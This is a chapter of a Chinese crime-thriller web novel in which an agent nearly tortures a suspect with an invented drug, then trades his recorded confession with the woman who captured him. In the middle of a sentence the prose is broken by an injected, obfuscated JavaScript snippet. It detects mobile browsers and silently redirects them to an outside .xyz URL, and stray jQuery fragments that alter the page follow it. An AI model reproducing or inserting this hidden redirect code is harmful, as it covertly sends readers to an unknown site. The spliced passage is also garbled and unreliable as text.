25. chapter 25
作品:《不良夜:倒计时审判杀局》 王臻逸握着手枪的指尖,用力到指节发白。
不得不承认,芒规珍说的每一个字,都在改变着她对正义的定义,将她坚守了二十八年的信念逐渐瓦解冰消。
安德鲁·摩尔已经陷入了神志不清的状态。
他的眼球开始上翻,嘴角淌出白沫,像条落网的鱼一样在实验台上挣扎。
“你在犹豫什么?”芒规珍靠近她,呼吸拂过她的耳垂,“犹豫她会责怪你这十一年来什么都没有查到爆炸案的真相吗?”
她轻轻推开枪口,将注射器塞进王臻逸的手里。
“孩子,要试试吗?这可以让他生不如死。”
“我修改了赛罗宁醇配方,添加了更多的载体稀释剂并引入了阿斯特瑞芬,这种混合物没有太大的危险性,只不过会引起脏器内部的腐蚀。哦,对了,我还混合了反循环促进剂,它能帮助减缓扩散到全身的速度,但同时也会加剧身体所感知到的痛感。”
王臻逸不自觉地接过注射器。浅蓝色的液体在实验室灯光下的照射下泛着奇异的光。
她明知道自己应该立刻逮捕他们两个。
但不知为何,她心底像是有着一个更强烈的声音在嘶吼着:试试看啊,你难道不想看看这个渣滓败类接下来会经历什么吗?
安德鲁·摩尔的哀求在实验室内回荡。
“不!不要!求你们...”
尿骚味在实验室里弥漫开来。
王臻逸有些不耐烦地皱着眉看过去,安德鲁·摩尔的□□已经湿了一大片。
芒规珍转头看向她,眼底闪烁着不明的光芒:“怎么样,看着这些人渣在自己面前瑟瑟发抖,是不是比直接逮捕他们要有趣得多?”
这种感觉确实很奇妙,就好像,明明是在做错误的事,却让她感到如此......正确。
王臻逸握着注射器的手很稳。
她俯下身,就能感受到对方加速的粗重的呼吸声。
她知道,只要自己微微用力,就能在安德鲁·摩尔的皮肤上划出一道血痕。她本该感到罪恶,但此刻只有一种颤栗的兴奋。
注射器的针尖抵上了他的脖颈。
芒规珍轻柔地抚过她的头发,贴近耳边轻声说道:“看来我们的循规蹈矩的好探员很有天赋。”
可就在针管即将划破皮肤的前一秒,她的脑海里突然就想起了那天母亲离开前的画面。
她蹲下来,将自己整个人都揽入怀中,温暖地就像是晒了一下午太阳的,柔和而又蓬松的棉被。
她一下一下,轻轻地摸着自己的头,在耳边安慰:“别听你父亲的,不管是alpha,beta还是omega,有梦想谁都了不起。妈妈相信,我的女儿以后一定会是全联邦最厉害的fbi!”
只是可惜,她没有等到自己分化的那天。
爆炸案发生后,自己因为目睹了现场的惨烈,在精神极度震荡的状况下提前进入了分化期,浑浑噩噩地分不清梦境还是现实,又遗落了好多爆炸前的好多记忆。
一个人躲在房间里难受了整整一个星期,才终于迎来了分化。
结果,却是自己最难以接受的——omega。
如果她还在,知道自己分化成了omega,不知道会是什么反应。
不过,大概率会更生气自己,打了oa转换剂进入fbi的这种行为吧......
她苦涩地笑了笑,深吸了一口气——针管被她重新放回了托盘。
“老大。”
就在这时,任长夏出现在了实验室门口。
她保持着戒备状态,将枪口对准芒规珍,缓缓移动到王臻逸的身边。
任长夏的手指扣在扳机上,冷汗却顺着脸颊滑落。
佩服啊,老大的演技可真好!
天知道,就在前一秒,她还以为老大真的就要选择另外一条路了。
王臻逸终于将面上那副被愤怒冲昏了头脑的样子卸了下来。
她已经努力在拖延时间了,再不来,她也没办法确保自己能不被对面这人洗脑。
“我有个更好的主意。”她从制服口袋里掏出一个录音笔,“刚才安德鲁·摩尔的供词,每一个字都已经被清晰地记录下来。”
芒规珍有些讶异地挑了挑眉:“你要把他交给法律?你真的相信司法能给你的母亲和那些孩子以公正?”
王臻逸声音很冷,“比起死亡,活着面对无数人的唾弃问诘,或许这种煎熬会更加漫长。只抓他一个怎么够,我要斯泰尔斯......”
芒规珍轻笑了一声:“斯泰尔斯家族的律师团队比你想象的更庞大。更何况,是安德鲁·摩尔在这种神志下的证词。即便有确凿证据,他们也能把庭审拖上三年五载。而在这期间,还会有多少孩子......”
她的声音低了下去,“你还不知道他们在实验室里都对那些孩子做了什么吧?”
芒规珍从智能机中调出一段视频。
只是在播放了不到5秒,王臻逸就立刻别过了头去。
“够了!”
“这就受不了了?”芒规珍收起手机,“这还只是冰山一角。”
“你知道比格犬吗?它们生来就没有名字,有的只是耳朵上的那一串编号。
因为它们温顺,又和人类有着类似的脏器构造,所以人类将它用于各种实验。做药理实验时,给它喂下或注射各种含毒性的药物以观察它们的身体变化,做核辐射实验时让它们被迫吸入不同的放射性物质……
因为它们温顺,很多比格犬身体的同一个部位要被打开再缝合,再被打开,反复很多次。瘦小的四肢上都被针眼扎得千疮百孔。可是啊,哪怕人类把它们弄的遍体凌伤,它也依旧摇着尾巴,眨着眼睛,不会记恨人类。
因为它们温顺!!”
“够了,联邦律法会给他以审判。另外,不只是他,你不会以为,你也能逃脱联邦法律的制裁吧?”
即使安德鲁·摩尔在在药性作用下录音的话不算数,但你可是在清醒状态下说出的,这同样可以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037807|162445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作为你的犯罪证据。
芒规珍有一瞬间的愕然,接着又似乎是觉得她天真,而忍不住笑出了声。
一直在旁边没来得及开口的任长夏这时才在王臻逸的身旁小声说道:“老大,这里的通讯被屏蔽了,我之前在频道内的信息你可能没接收到。对不起,我们没来得及拦下斯泰尔斯家族的人,被人捷足先登了一步。”
“那些被斯泰尔斯派来毁尸灭迹的人早就到了,不过提前被不良夜控制住了,而且我们刚刚查探了一下,周围都已经布满了炸弹——根据型号不难推出,是吴建穹的手笔。”
情况一下子被调转了过来。
芒规珍的唇角向上勾了勾,露出了一个尽在掌控之中的微笑:“你带了这么多条小尾巴来,不会以为,我只有单枪匹马的一个人吧?”
芒规珍的团队把控了这里的一切,她完全可以像对付斯泰尔斯派遣来的那伙人那样,将任长夏和其他几名探员逮住,可她并没有这么做?
王臻逸默了半晌,干脆直接开诚布公道:“既然你也在站这里,应该并不希望大家都一起被爆炸埋在这底下,开条件吧。”
“用录音,换摩尔。”
“你不杀他了?”这反倒让王臻逸有些讶异了。
芒规珍笑了一下,“你不是想带着他上法院溜溜吗?我妥协了,人归你,录音给我。至于这里,等你们都走了,我还是会毁掉它。它,不该出现在这个世界上。”
在受制于人的情况下,这个条件对她来说完全不亏。
“好。”
可是刚刚还满是杀意,并试图想要通过借自己的手杀摩尔的的人,为什么突然又改变了想法。王臻逸此时能想到的唯一一个好处就是,这人能对阿昭的案件争取到更大的从宽处理。
理智告诉她,或许还有什么其他的阴谋在里面,但她还是不愿意再用最恶毒的心思去揣测,毕竟,在十一年前爆炸案发生时,是芒规珍拼命护住了自己。
“最后,再给你一个忠告吧,不要再犯和黄书佑同样的失误了。我想你应该看得出来,他并不是真正的死于药物过敏,而是有人,不想让他说话。”
的确,不良夜的页面下方并没有出现他的判决视频,但当时王臻逸还是保留了是不良夜组织犯案的可能性。就算现在,她也没有全然相信芒规珍所说的话。
安德鲁·摩尔的眼神在两人之间来回,在听懂了言外之意后,他终于崩溃了。
上一秒才觉得自己看到了希望,此刻又像是被瞬间打入了地狱。
在发出惊天动地的嚎叫的前一秒,他提前被芒规珍一个手刀批晕了过去。
“联邦内部,不是所有人都能相信的,比如…...”她略一停顿,笑着继续说道,“听说过农夫与蛇的故事吗?农夫以为自己暖化了冻僵的蛇,没想到蛇最终在醒过来后咬死了农夫。”
“联邦内部的事情,就不劳烦您费心了。”王臻逸嘴上说的云淡风轻,事实上她还是不得不承认,这番意有所指的话确实加大了她心底的怀疑。